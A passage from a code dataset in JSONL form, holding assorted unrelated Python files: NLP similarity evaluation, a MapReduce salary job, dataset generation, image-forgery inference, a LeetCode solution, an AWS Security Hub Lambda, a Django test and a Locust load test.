WordNetDriver.get_synsets(t[0])\n ss2 = WordNetDriver.get_synsets(t[1])\n senses = [ss1, ss2]\n maxs = [] # lista di similarita tra sensi\n for s1 in senses[0]:\n for s2 in senses[1]:\n count += 1\n maxs.append(f(s1, s2))\n if len(maxs) == 0: # parole prive di sensi (e.g nomi propri)\n maxs = [-1]\n to_remove.append(i)\n sim_metric.append(max(maxs))\n i += 1\n similarities.append(sim_metric)\n\n end_time = time.time()\n print(\"{0} combinazioni di sensi\".format(count))\n print(\"{0} secondi\".format(end_time - start_time))\n\n for i in range(len(couple_list)):\n if i in to_remove:\n del couple_list[i]\n for s in range(len(similarities)):\n del similarities[s][i]\n\n golden = [x[2] for x in couple_list]\n pearson_list = []\n spearman_list = []\n for i in range(len(metrics[1])):\n yy = similarities[i]\n pearson_list.append(pearson_index(golden, yy))\n spearman_list.append(spearman_index(golden, yy))\n draw_plot(i, metrics[1][i], golden, yy, pearson_list[i], spearman_list[i])\n\n with open(options.output + 'Es1_Results.txt', \"w\") as out:\n out.write(\"w1, w2 | m1, \\tm2, \\tm3 | gold\\n\")\n for i in range(len(couple_list)):\n out.write(\"{0}, {1} | {2:.2f}, \\t{3:.2f}, \\t{4:.2f} | {5}\\n\".format(couple_list[i][0], couple_list[i][1],\n similarities[0][i], similarities[1][i],\n similarities[2][i],\n couple_list[i][2],\n )\n )\n\n with open(options.output + 'Es1_Indeces.txt', \"w\") as out:\n for i in range(len(pearson_list)):\n out.write(\"m\" + str(i + 1) + \" | Pearson Index: \" + str(pearson_list[i]) + \" | Spearman Index: \" + str(\n spearman_list[i]) + \"\\n\")\n\n\ndef draw_plot(id, metrics_name, list_gold_value, list_similarity, p_index_value, s_index_value):\n \"\"\"\n Disegna grafico dati, asse x = golden value, asse y = concept similarity\n :param id: id figura\n :param metrics_name: nome metrica usata\n :param list_gold_value: lista di golden value\n :param list_similarity: lista di similarità\n :param p_index_value: Pearson index\n :param s_index_value: Spearman index\n \"\"\"\n\n fig = plt.figure(id)\n plt.title(metrics_name)\n p_index_value = str(p_index_value)\n s_index_value = str(s_index_value)\n plt.text(0.5, 0.5, 'Pearson Index = ' + p_index_value[0:6] + '\\n' + 'Spearman Index = ' + s_index_value[0:6])\n plt.plot(list_gold_value, list_similarity, 'o', color='#99ccff')\n plt.xlabel(\"Gold Value\")\n plt.legend(loc='upper left')\n plt.ylabel(\"Concept Similarity\")\n plt.grid(linestyle='--')\n\n fig.tight_layout()\n plt.savefig(options.output + '/' + str(id) + '.png', bbox_inches='tight')\n\n\nif __name__ == \"__main__\":\n print(\"Concept Similarity\")\n\n argv = sys.argv[1:]\n parser = OptionParser()\n\n parser.add_option(\"-i\", \"--input\", help='input file', action=\"store\", type=\"string\", dest=\"input\",\n default=\"../../input/WordSim353.csv\")\n\n parser.add_option(\"-o\", \"--output\", help='output directory', action=\"store\", type=\"string\", dest=\"output\",\n default=\"../../output/Es1/\")\n\n (options, args) = parser.parse_args()\n\n if options.input is None:\n print(\"Missing mandatory parameters\")\n sys.exit(2)\n\n main()\n","repo_name":"rogerferrod/tln","sub_path":"tln_radicioni/src/Esercitazione1/Es1.py","file_name":"Es1.py","file_ext":"py","file_size_in_byte":5240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"1750952472","text":"from mrjob.job import MRJob\nfrom mrjob.step import MRStep\n\n\nclass Salary(MRJob):\n def steps(self):\n return [\n MRStep(mapper=self.mapper, reducer=self.reducer),\n ]\n\n def mapper(self, _, line):\n row = line.replace(\" \", \"\").split(\",\")\n\n idemp = None\n sector = None\n salary = None\n year = None\n\n try:\n idemp = int(row[0])\n sector = int(row[1])\n salary = float(row[2])\n year = int(row[3])\n except:\n pass\n else:\n yield (f\"sector-{sector}-avg: \", salary)\n yield (f\"employee-{idemp}-avg: \", salary)\n yield (f\"employee-count-{idemp}\", sector)\n\n def reducer(self, key, values):\n if key.startswith(\"employee-count-\"):\n count = 0\n previous_sectors = set()\n\n for v in values:\n if v not in previous_sectors:\n previous_sectors.add(v)\n count += 1\n\n yield (key, count)\n else:\n salary = 0\n n = 0\n\n for s in values:\n salary += s\n n += 1\n\n if n > 0:\n yield (key, salary / n)\n else:\n yield (key, salary)\n\n\nif __name__ == \"__main__\":\n Salary.run()\n","repo_name":"sebashack/spulido1-st0263","sub_path":"lab5/lab-53/mr-scripts/salary.py","file_name":"salary.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41308268723","text":"import os\nfrom data_structure.data_raw import data_raw as raw\nimport utility.utility as ut\nfrom random import randint\n\nimport matplotlib.pyplot as plt\n\ndataset_type = \"lightcurve_benchmark\"\nfilterType = \"pca\"\nmain_path = 'C:\\\\git\\\\data_stream'\ndataset_path = '{}\\\\{}\\\\{}\\\\training'.format(main_path,dataset_type,filterType)\n\n\ndef loadAllRawData(times = 4):\n dataList = []\n for i in range(times):\n for r, d, files in os.walk(dataset_path):\n for file in files:\n data = raw(path=r,fileName=file,countIndex = i)\n data.loadData()\n dataList.append(data)\n return dataList\n\ndef genFolderTransientPattern(pattern,height,duration):\n targetPath = '{}\\\\{}\\\\{}'.format(main_path,dataset_type,filterType)\n folderTran = '{}_L{}_I{}'.format(pattern,height,duration)\n ut.create_folder(\"{}\\\\{}\".format(targetPath, folderTran))\n testPath = '{}\\\\{}\\\\test'.format(targetPath,folderTran)\n answerPath = '{}\\\\{}\\\\answer'.format(targetPath,folderTran)\n ut.create_folder(testPath)\n ut.create_folder(answerPath)\n\n picPath = '{}\\\\{}\\\\pic'.format(targetPath, folderTran)\n ut.create_folder(picPath)\n\n return testPath,answerPath,picPath\n\ndef genSQTestAnswer(data,height,duration,exclusion_zone = 0):\n instances = data.get_instances()\n testPath, answerPath, picPath = genFolderTransientPattern(pattern='sq', height=height, duration=duration)\n startPoint = randint(0,len(instances)-duration-exclusion_zone)\n std = height*data.get_STD()\n for index in range(startPoint,startPoint+duration):\n instances[index] = instances[index]+std\n\n fileName = data.get_fileName()\n countIndex = data.get_countIndex()\n genFile(listData = instances,pathFile= \"{}\\\\{}_{}\".format(testPath,fileName,countIndex))\n genFile(listData=[startPoint], pathFile=\"{}\\\\{}_{}\".format(answerPath, fileName,countIndex))\n tran_list = []\n tran_list.append([startPoint,startPoint+duration])\n ut.plot_data(list_data=instances,tran_list=tran_list)\n plt.show()\n plt.title(\"{}\\\\{}_{}\".format(testPath,fileName,countIndex))\n # plt.savefig(\"{}\\\\{}_{}.png\".format(picPath,fileName,countIndex))\n plt.clf()\n\n\n\ndef genTRTestAnswer(data,height,duration):\n instances = data.get_instances()\n testPath, answerPath, picPath = genFolderTransientPattern(pattern='tr', height=height, duration=duration)\n startPoint = randint(0,len(instances)-duration)\n std = height*data.get_STD()\n if duration % 2 == 0:\n peak_index = round(duration/2)\n lst = [0] * peak_index\n lst[peak_index-1] = std\n slope = std / peak_index\n # upper\n for i in range(0,peak_index):\n # upper\n lst[i] = slope*i\n lower_list = lst.copy()\n lower_list.reverse()\n lst = lst + lower_list\n\n else:\n peak_index = round(duration / 2)\n lst = [0] * peak_index\n slope = std / peak_index\n # upper\n for i in range(0, peak_index-1):\n # upper\n lst[i] = slope * i\n lower_list = lst[:-1].copy()\n lower_list.reverse()\n lst = lst + lower_list\n print(\"a\")\n\n\n for count,index in enumerate(range(startPoint,startPoint+duration)):\n instances[index] = instances[index]+lst[count]\n\n fileName = data.get_fileName()\n countIndex = data.get_countIndex()\n genFile(listData = instances,pathFile= \"{}\\\\{}_{}\".format(testPath,fileName,countIndex))\n genFile(listData=[startPoint], pathFile=\"{}\\\\{}_{}\".format(answerPath, fileName,countIndex))\n tran_list = []\n tran_list.append([startPoint,startPoint+duration])\n ut.plot_data(list_data=instances,tran_list=tran_list)\n # plt.show()\n plt.title(\"{}\\\\{}_{}\".format(testPath,fileName,countIndex))\n plt.savefig(\"{}\\\\{}_{}.png\".format(picPath,fileName,countIndex))\n plt.clf()\n\ndef genFile(listData,pathFile):\n with open(pathFile, 'w') as f:\n for item in listData:\n f.write(\"%s\\n\" % item)\n f.close()\n print(\"#### {} Complete ####\".format(pathFile))\n\nif __name__ == '__main__':\n height = 3\n duration = 30\n dataList = loadAllRawData()\n for index, data in enumerate(dataList):\n genTRTestAnswer(data = data,height =height ,duration=duration)\n\n\n\n","repo_name":"thanapol2/data_stream","sub_path":"genDataset/genMain.py","file_name":"genMain.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43343506424","text":"# ------------------------------------------------------------------------------\n# Author: Xiao Guo (guoxia11@msu.edu)\n# CVPR2023: Hierarchical Fine-Grained Image Forgery Detection and Localization\n# ------------------------------------------------------------------------------\nfrom utils.utils import *\nfrom utils.custom_loss import IsolatingLossFunction, load_center_radius\nfrom IMD_dataloader import train_dataset_loader_init, infer_dataset_loader_init\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nfrom models.seg_hrnet import get_seg_model\nfrom models.seg_hrnet_config import get_cfg_defaults\nfrom models.NLCDetection_pconv import NLCDetection\nfrom sklearn import metrics\nfrom sklearn.metrics import roc_auc_score\n\nimport os\nimport csv\nimport time\nimport torch\nimport torch.nn as nn\nimport argparse\nimport numpy as np\n\ndevice = torch.device('cuda:0')\ndevice_ids = [0]\n\ndef config(args):\n\t'''Set up input configurations.'''\n\targs.crop_size = [args.crop_size, args.crop_size]\n\tcuda_list = args.list_cuda\n\tglobal device \n\tdevice = torch.device('cuda:0')\n\tglobal device_ids\n\tdevice_ids = device_ids_return(cuda_list)\n\n\targs.save_dir \t = 'lr_' + str(args.learning_rate)+'_loc'\n\tFENet_dir, SegNet_dir = args.save_dir+'/HRNet', args.save_dir+'/NLCDetection'\n\tFENet_cfg = get_cfg_defaults()\n\tFENet = get_seg_model(FENet_cfg).to(device) # load the pre-trained model inside.\n\tSegNet = NLCDetection(args).to(device)\n\n\tFENet = nn.DataParallel(FENet, device_ids=device_ids)\n\tSegNet = nn.DataParallel(SegNet, device_ids=device_ids)\n\n\tmake_folder(args.save_dir)\n\tmake_folder(FENet_dir)\n\tmake_folder(SegNet_dir)\n\twriter = SummaryWriter(f'tb_logs/{args.save_dir}')\n\n\treturn args, writer, FENet, SegNet, FENet_dir, SegNet_dir\n\ndef restore_weight(args, FENet, SegNet, FENet_dir, SegNet_dir):\n\t'''load FENet, SegNet and optimizer.'''\n\tparams \t\t= list(FENet.parameters()) + list(SegNet.parameters()) \n\toptimizer \t= torch.optim.Adam(params, lr=args.learning_rate)\n\tinitial_epoch = findLastCheckpoint(save_dir=SegNet_dir)\n\n\t# load FENet and SegNet weight:\n\tFENet = restore_weight_helper(FENet, FENet_dir, initial_epoch)\n\tSegNet = restore_weight_helper(SegNet, SegNet_dir, initial_epoch)\n\toptimizer = restore_optimizer(optimizer, SegNet_dir)\n\n\treturn optimizer, initial_epoch\n\ndef save_weight(FENet, SegNet, FENet_dir, SegNet_dir, optimizer, epoch):\n\t# Save checkpoint\n\tFENet_checkpoint = {'model': FENet.state_dict(),\n\t\t\t\t\t\t'optimizer': optimizer.state_dict()}\n\ttorch.save(FENet_checkpoint, '{0}/{1}.pth'.format(FENet_dir, epoch + 1))\n\n\tSegNet_checkpoint = {'model': SegNet.state_dict(),\n\t\t\t\t\t\t 'optimizer': optimizer.state_dict()}\n\ttorch.save(SegNet_checkpoint, '{0}/{1}.pth'.format(SegNet_dir, epoch + 1))\n\ndef Inference(\n\t\t\targs, FENet, SegNet, LOSS_MAP, tb_writer, \n\t\t\titer_num=None, save_tag=False, localization=True,\n\t\t\tmask_save_path=f'/user/guoxia11/cvlshare/cvl-guoxia11/CVPR2023_github/mask_result/'\n\t\t\t):\n\t'''\n\t\tthe inference pipeline for the pre-trained model.\n\t\tthe image-level detection will dump to the csv file.\n\t\tthe pixel-level localization will be saved as in the npy file.\n\t'''\n\tval_data_loader = infer_dataset_loader_init(args, val_tag=0)\n\tval_num_per_epoch = len(val_data_loader)\n\tAUC_score_lst, F1_score_lst = [], []\n\tmask_GT_lst, mask_pred_lst, mask_scr_lst = [], [], []\n\timg_GT_list, img_pred_list, img_scr_list = [], [], []\n\n\t## localization: forgery mask is saved in the npy file.\n\tmask_save_path = mask_save_path\n\tos.makedirs(mask_save_path, exist_ok=True)\n\n\t## detection: different scores are saved in the csv file.\n\tcsv_file_name = f'result_{args.learning_rate}.csv'\n\tcsv_file = open(csv_file_name, mode='w')\n\tcsv_writer = csv.writer(csv_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\tcsv_writer.writerow(['Image_names', 'Sc_4', 'RS_4', 'GT_4',\n\t\t\t\t\t\t\t\t\t\t'Sc_3', 'RS_3', \"GT_3\",\n\t\t\t\t\t\t\t\t\t\t'Sc_2', \"RS_2\", \"GT_2\",\n\t\t\t\t\t\t\t\t\t\t'Sc_1', \"RS_1\", \"GT_1\"])\n\n\twith torch.no_grad():\n\t\tFENet.eval()\n\t\tSegNet.eval()\n\t\tfor step, val_data in enumerate(tqdm(val_data_loader)):\n\t\t\timage, masks, cls0, cls1, cls2, cls3, img_names = val_data\n\t\t\tcls0, cls1, cls2, cls3 = cls0.to(device), cls1.to(device), cls2.to(device), cls3.to(device)\n\t\t\timage, mask = image.to(device), masks[0].to(device)\n\t\t\tmask, mask_balance = class_weight(mask, 1)\n\t\t\toutput = FENet(image)\n\t\t\tmask1_fea, mask1_binary, out0, out1, out2, out3 = SegNet(output, image)\n\n\t\t\t## detection.\n\t\t\tres3, prob3 = one_hot_label_new(out3)\n\t\t\tres2, prob2 = one_hot_label_new(out2)\n\t\t\tres1, prob1 = one_hot_label_new(out1)\n\t\t\tres0, prob0 = one_hot_label_new(out0)\n\t\t\t\n\t\t\tcls3_np = list(cls3.cpu().numpy())\n\t\t\tcls2_np = list(cls2.cpu().numpy())\n\t\t\tcls1_np = list(cls1.cpu().numpy())\n\t\t\tcls0_np = list(cls0.cpu().numpy())\n\t\t\tfor i in range(len(cls3_np)):\n\t\t\t\twrite_list = [img_names[i], \n\t\t\t\t\t\t\t\tprob3[i], res3[i], cls3_np[i], \n\t\t\t\t\t\t\t\tprob2[i], res2[i], cls2_np[i],\n\t\t\t\t\t\t\t\tprob1[i], res1[i], cls1_np[i],\n\t\t\t\t\t\t\t\tprob0[i], res0[i], cls0_np[i]\n\t\t\t\t\t\t\t ]\n\t\t\t\tcsv_writer.writerow(write_list)\n\t\t\tcsv_file.flush()\n\t\n\t\t\t##############################################################################\n\t\t\t## The following is the examplar code for dumping the mask into numpy files.\n\t\t\t## The final version of localization measurement will be updated.\n\t\t\t## localization. \n\t\t\t# loss_map, loss_manip, loss_nat = LOSS_MAP(mask1_fea, mask)\n\t\t\t# pred_mask = LOSS_MAP.dis_curBatch.squeeze(dim=1)\n\t\t\t# pred_mask_score = LOSS_MAP.dist.squeeze(dim=1)\n\n\t\t\t# np.save(f'{mask_save_path}/{step}_mask.npy', mask.cpu().numpy())\n\t\t\t# np.save(f'{mask_save_path}/{step}_pred_mask.npy', pred_mask.cpu().numpy())\n\t\t\t# np.save(f'{mask_save_path}/{step}_pred_mask_score.npy', pred_mask_score.cpu().numpy())\n\n\tcsv_file.close()\n\ndef main(args):\n\t## Set up the configuration.\n\targs, writer, FENet, SegNet, FENet_dir, SegNet_dir = config(args)\n\n\t## Dataloader: \n\ttrain_data_loader = train_dataset_loader_init(args)\n\ttrain_num_per_epoch = int(args.train_num/args.train_bs)\n\n\t## Model and Optimizer:\n\toptimizer, lr_scheduler = setup_optimizer(args, SegNet, FENet)\n\toptimizer, initial_iter = restore_weight(args, FENet, SegNet, FENet_dir, SegNet_dir)\n\tinitial_epoch = int(initial_iter/train_num_per_epoch)\n\n\t## Set up the loss function.\n\tcenter, radius = load_center_radius(args, FENet, SegNet, train_data_loader)\n\tCE_loss = nn.CrossEntropyLoss().to(device)\n\tBCE_loss = nn.BCELoss(reduction='none').to(device)\n\tLOSS_MAP = IsolatingLossFunction(center,radius).to(device)\n\n\tInference(\n\t\t\targs, FENet, SegNet, LOSS_MAP, tb_writer=writer, iter_num=initial_iter, save_tag=True, \n\t\t\tlocalization=True\n\t\t\t)\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-l','--list_cuda', nargs='+', help=' Set flag')\n\tparser.add_argument('-lr', '--learning_rate', type=float, default=3e-4)\n\tparser.add_argument('--num_epochs', type=int, default=3)\n\tparser.add_argument('--lr_gamma', type=float, default=2.0)\n\tparser.add_argument('--lr_backbone', type=float, default=0.9)\n\tparser.add_argument('--patience', type=int, default=30)\n\tparser.add_argument('--step_factor', type=float, default=0.95)\n\tparser.add_argument('--dis_step', type=int, default=50)\n\tparser.add_argument('--val_step', type=int, default=500)\n\n\t## train hyper-parameters\n\tparser.add_argument('--crop_size', type=int, default=256)\n\tparser.add_argument('--val_num', type=int, default=200, help='val sample number.')\n\tparser.add_argument('--train_num', type=int, default=1710000, help='train sample number.')\n\tparser.add_argument('--train_tag', type=int, default=0)\n\tparser.add_argument('--val_tag', type=int, default=0)\n\tparser.add_argument('--val_all', type=int, default=1)\n\tparser.add_argument('--ablation', type=str, default='full', choices=['base', 'fg', 'local', 'full'], \n\t\t\t\t\t\t help='exp for one-shot, fine_grain, plus localization, plus pconv')\n\tparser.add_argument('--val_loc_tag', action='store_true')\n\tparser.add_argument('--fine_tune', action='store_true')\n\tparser.add_argument('--debug_mode', action='store_true')\n\tparser.set_defaults(val_loc_tag=True)\n\tparser.set_defaults(fine_tune=True)\n\n\tparser.add_argument('--train_ratio', nargs='+', default=\"0.4 0.4 0.2\", help='deprecated')\n\tparser.add_argument('--path', type=str, default=\"\", help='deprecated')\n\tparser.add_argument('--train_bs', type=int, default=10, help='batch size in the training.')\n\tparser.add_argument('--val_bs', type=int, default=10, help='batch size in the validation.')\n\tparser.add_argument('--percent', type=float, default=1.0, help='label dataset.')\n\targs = parser.parse_args()\n\tmain(args)","repo_name":"CHELSEA234/HiFi_IFDL","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"70"} +{"seq_id":"14236563256","text":"import boto3\nimport json\nimport logging\nimport botocore.exceptions as boto3exceptions\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nsecurity_hub_client = boto3.client('securityhub')\n\n\n'''\nUpdate the finding status in Security Hub\n'''\n\ndef process_findings(findingIdentifier):\n try:\n response = security_hub_client.batch_update_findings(\n FindingIdentifiers = findingIdentifier,\n Workflow = {\n 'Status': 'NOTIFIED'\n },\n Note = {\n \"Text\": \"This finding has been published to pagerGuty SNS. Findings for this resource have been set to NOTIFIED.\",\n \"UpdatedBy\": \"WorkflowStatusUpdater\"\n }\n )\n except boto3exceptions.ClientError as error:\n logger.exception(\"client error\")\n raise ConnectionError(f\"Client error invoking batch update findings {error}\")\n except boto3exceptions.ParamValidationError as error:\n logger.exception(\"invalid parameters\")\n raise ValueError(f\"The parameters you provided are incorrect: {error}\")\n\ndef lambda_handler(event, context):\n resource_ids = []\n print(\"Received event: \" + json.dumps(event, indent=2))\n for record in event[\"Records\"]:\n message = json.loads(record[\"Sns\"][\"Message\"])\n print(\"Received message: \" + json.dumps(message, indent=2))\n for finding in message['detail']['findings']:\n findingIdentifier=[{\n 'Id': finding[\"Id\"],\n 'ProductArn': finding[\"ProductArn\"]\n }]\n process_findings(findingIdentifier)\n\n return {\"statusCode\" : 200}","repo_name":"sanjupattali/utils","sub_path":"shub_Updater.py","file_name":"shub_Updater.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26606420575","text":"from django.http import QueryDict\nfrom rest_framework.status import HTTP_200_OK\nfrom rest_framework.status import HTTP_403_FORBIDDEN\nfrom rest_framework.status import HTTP_404_NOT_FOUND\n\nfrom aw_creation.api.urls.names import Name\nfrom aw_creation.api.urls.namespace import Namespace\nfrom aw_creation.api.views.media_buying.constants import REPORT_CONFIG\nfrom aw_reporting.models import Account\nfrom saas.urls.namespaces import Namespace as RootNamespace\nfrom userprofile.constants import StaticPermissions\nfrom userprofile.constants import UserSettingsKey\nfrom utils.unittests.reverse import reverse\nfrom utils.unittests.test_case import ExtendedAPITestCase\n\n\nclass MediaBuyingAccountKpiFiltersTestCase(ExtendedAPITestCase):\n def _get_url(self, account_creation_id):\n return reverse(\n Name.MediaBuying.ACCOUNT_KPI_FILTERS,\n [RootNamespace.AW_CREATION, Namespace.MEDIA_BUYING],\n args=(account_creation_id,),\n )\n\n def setUp(self) -> None:\n self.user = self.create_test_user(perms={\n StaticPermissions.MEDIA_BUYING: True,\n })\n\n def test_no_permission_fail(self):\n self.create_test_user()\n account = Account.objects.create(id=1, name=\"\")\n query_prams = QueryDict(\"targeting=all\").urlencode()\n url = f\"{self._get_url(account.account_creation.id)}?{query_prams}\"\n user_settings = {\n UserSettingsKey.VISIBLE_ACCOUNTS: [account.id],\n }\n with self.patch_user_settings(**user_settings):\n response = self.client.get(url)\n self.assertEqual(response.status_code, HTTP_403_FORBIDDEN)\n\n def test_not_visible_account(self):\n account = Account.objects.create(id=1, name=\"\")\n query_prams = QueryDict(\"targeting=all\").urlencode()\n url = f\"{self._get_url(account.account_creation.id)}?{query_prams}\"\n user_settings = {\n UserSettingsKey.VISIBLE_ACCOUNTS: [],\n }\n with self.patch_user_settings(**user_settings):\n response = self.client.get(url)\n self.assertEqual(response.status_code, HTTP_404_NOT_FOUND)\n\n def test_get_success(self):\n account = Account.objects.create(id=1, name=\"\")\n query_prams = QueryDict(\"targeting=all\").urlencode()\n url = f\"{self._get_url(account.account_creation.id)}?{query_prams}\"\n user_settings = {\n UserSettingsKey.VISIBLE_ACCOUNTS: [account.id],\n }\n with self.patch_user_settings(**user_settings):\n response = self.client.get(url)\n self.assertEqual(response.status_code, HTTP_200_OK)\n data = response.data\n self.assertEqual(set(data.keys()), set(REPORT_CONFIG[\"all\"][\"aggregations\"]))\n","repo_name":"santidev10/restapi","sub_path":"aw_creation/api/tests/media_buying/test_account_kpi_filters.py","file_name":"test_account_kpi_filters.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"39752369958","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nmember_roles = (\"admin\", \"member\")\nmember_roles_names = {\"admin\": u\"管理员\", \"member\": u\"用户\"}\n\nuser_permissions = {\n \"admin\": (\"\", ),\n \"member\": {\"\", }\n}\n\nORDER_STATUS_DICT = {\n 'new': '待支付',\n\n 'wait_pay': '待支付',\n 'paid': '已付款',\n 'servicing': '服务中',\n 'finished': '已完成',\n}\n\nORDER_PAY_METHODS = [\n {'id': 'wxpay', 'name': '微信支付', 'pingpp_id': 'wx'},\n {'id': 'alipay', 'name': '支付宝', 'pingpp_id': 'alipay'},\n]","repo_name":"ewbefine/bbs","sub_path":"bbs/libs/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41982869541","text":"import pickle\nimport tensorflow as tf\nimport numpy as np\nimport pandas\n\n\ndef randomOrder(n):\n shu = np.arange(n)\n np.random.shuffle(shu)\n return shu\n\n\ndef trainNoHuman(name, maxEpochs=50, batch_size=1000, nSamples=35000, dense_layers_units=[12, 18, 32]):\n datasetPath = \"./Data/\"\n\n with open(datasetPath + 'modelData.pickle', 'rb') as f:\n modelData = pickle.load(f)\n\n savePath = './Output/'\n noiseTypes = ['no', 'cmb', 'in', 'md']\n dataProcessed = {}\n models = {}\n inputNames = ['q11', 'q12', 'q13']\n outputNames = ['theta1', 'theta2', 'theta3']\n metrics = []\n for nT in noiseTypes:\n dataProcessed[nT] = {}\n dataAux = modelData.where(modelData['NoiseType'] == nT).dropna()\n randOrder = randomOrder(dataAux.shape[0])[:nSamples]\n x = dataAux[inputNames].values[randOrder]\n y = dataAux[outputNames].values[randOrder]\n models[nT] = tf.keras.Sequential([tf.keras.layers.Dense(6, activation='relu', input_shape=(len(inputNames),))])\n # if we put the constructor in a for loop, we can easily increase the number of layers\n for n in dense_layers_units:\n models[nT].add(tf.keras.layers.Dense(n, activation='relu'))\n # the last layer reshapes the tensor to the required output size\n models[nT].add(tf.keras.layers.Dense(len(outputNames)))\n # we use the built-in optimizer RMSprop. Using the tf.keras.optimizers class, we can easily change optimizers\n optimizer = tf.keras.optimizers.Adam(0.001)\n # in here we declare the training parameters of the network\n models[nT].compile(loss='mse', # mean square error\n optimizer=optimizer,\n metrics=['mae', 'mse'])\n history = models[nT].fit(x, y, batch_size=batch_size, epochs=maxEpochs, validation_split=0.2)\n models[nT].save(savePath + nT + '.h5')\n # in here we can see the training history and plot it\n dataProcessed[nT]['histogram'] = pandas.DataFrame(history.history)\n\n # metrics.append(auxAux.copy())\n\n dataProcessed['metrics'] = pandas.concat(metrics)\n with open(savePath + 'processedData_%s.pickle' % name, 'wb') as f:\n pickle.dump(dataProcessed, f)\n","repo_name":"antoniopradom/FwdKinNeckBrace","sub_path":"TrainModels.py","file_name":"TrainModels.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33006855936","text":"# 746. 使用最小花费爬楼梯\n# \n# 数组的每个索引作为一个阶梯,第 i个阶梯对应着一个非负数的体力花费值 cost[i](索引从0开始)。\n# 每当你爬上一个阶梯你都要花费对应的体力花费值,然后你可以选择继续爬一个阶梯或者爬两个阶梯。\n# 您需要找到达到楼层顶部的最低花费。在开始时,你可以选择从索引为 0 或 1 的元素作为初始阶梯。\n# \n# 示例 1:\n# 输入: cost = [10, 15, 20]\n# 输出: 15\n# 解释: 最低花费是从cost[1]开始,然后走两步即可到阶梯顶,一共花费15。\n# \n# 示例 2:\n# 输入: cost = [1, 100, 1, 1, 1, 100, 1, 1, 100, 1]\n# 输出: 6\n# 解释: 最低花费方式是从cost[0]开始,逐个经过那些1,跳过cost[3],一共花费6。\n# \n# 注意:\n# cost 的长度将会在 [2, 1000]。\n# 每一个 cost[i] 将会是一个Integer类型,范围为 [0, 999]。\n# \n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/min-cost-climbing-stairs\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\n\nclass Solution:\n\n def minCostClimbingStairs(self, cost) -> int:\n \"\"\"\n cost[i]连接cost[i+1]和cost[i+2],边的长度为cost[i]\n 这样连起来的图,选择最短路径\n 从cost[0]出发走一次,从cost[1]出发走一次,取两者较小的\n \"\"\"\n # 从cost[0]出发走一次\n cost0 = cost\n acc0 = [0] * (1 + len(cost0))\n init0 = [True] * (1 + len(cost0))\n for i, _ in enumerate(cost0):\n if i + 1 <= len(cost0) and (init0[i + 1] or acc0[i] + cost0[i] < acc0[i + 1]):\n acc0[i + 1], init0[i + 1] = acc0[i] + cost0[i], False \n if i + 2 <= len(cost0) and (init0[i + 2] or acc0[i] + cost0[i] < acc0[i + 2]):\n acc0[i + 2], init0[i + 2] = acc0[i] + cost0[i], False\n \n # 从cost[1]出发走一次\n cost1 = cost[1:]\n acc1 = [0] * (1 + len(cost1))\n init1 = [True] * (1 + len(cost1))\n for i, _ in enumerate(cost1):\n if i + 1 <= len(cost1) and (init1[i + 1] or acc1[i] + cost1[i] < acc1[i + 1]):\n acc1[i + 1], init1[i + 1] = acc1[i] + cost1[i], False\n if i + 2 <= len(cost1) and (init1[i + 2] or acc1[i] + cost1[i] < acc1[i + 2]):\n acc1[i + 2], init1[i + 2] = acc1[i] + cost1[i], False\n \n return acc0[-1] if acc0[-1] < acc1[-1] else acc1[-1]\n\n \nif __name__ == '__main__':\n cost1 = [10, 15, 20]\n cost2 = [1, 100, 1, 1, 1, 100, 1, 1, 100, 1]\n cost3 = [0, 0, 0, 0]\n \n sol = Solution()\n print(cost1, sol.minCostClimbingStairs(cost1), sep='\\n')\n print(cost2, sol.minCostClimbingStairs(cost2), sep='\\n')\n print(cost3, sol.minCostClimbingStairs(cost3), sep='\\n')\n \n","repo_name":"Ascetics/PyLeetCode","sub_path":"src/746.py","file_name":"746.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23952851404","text":"import requests\nfrom locust import HttpUser,TaskSet,task,constant\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport django\n# 禁用安全请求警告\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nclass productselect(TaskSet):\n @task(1)\n def post_list(self):\n url = \"http://192.168.1.111:10050/product/skuFiles/productInfo/list\"\n\n payload='seriesnameId=&sku=&state=&tag=&isBarCodeFlag=&pageSize=20&pageNum=1&orderByColumn=&isAsc=asc'\n headers = {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Cookie': 'JSESSIONID=ec6ae203-f379-48ef-bdda-740004cca21f'\n }\n\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n\n print(response.text)\n\nclass websitUser(HttpUser):\n tasks = [productselect]\n min_wait = 3000 # 单位为毫秒\n max_wait = 6000 # 单位为毫秒\n\n\nif __name__ == \"__main__\":\n import os\n os.system(\"locust -f productlist_001.py 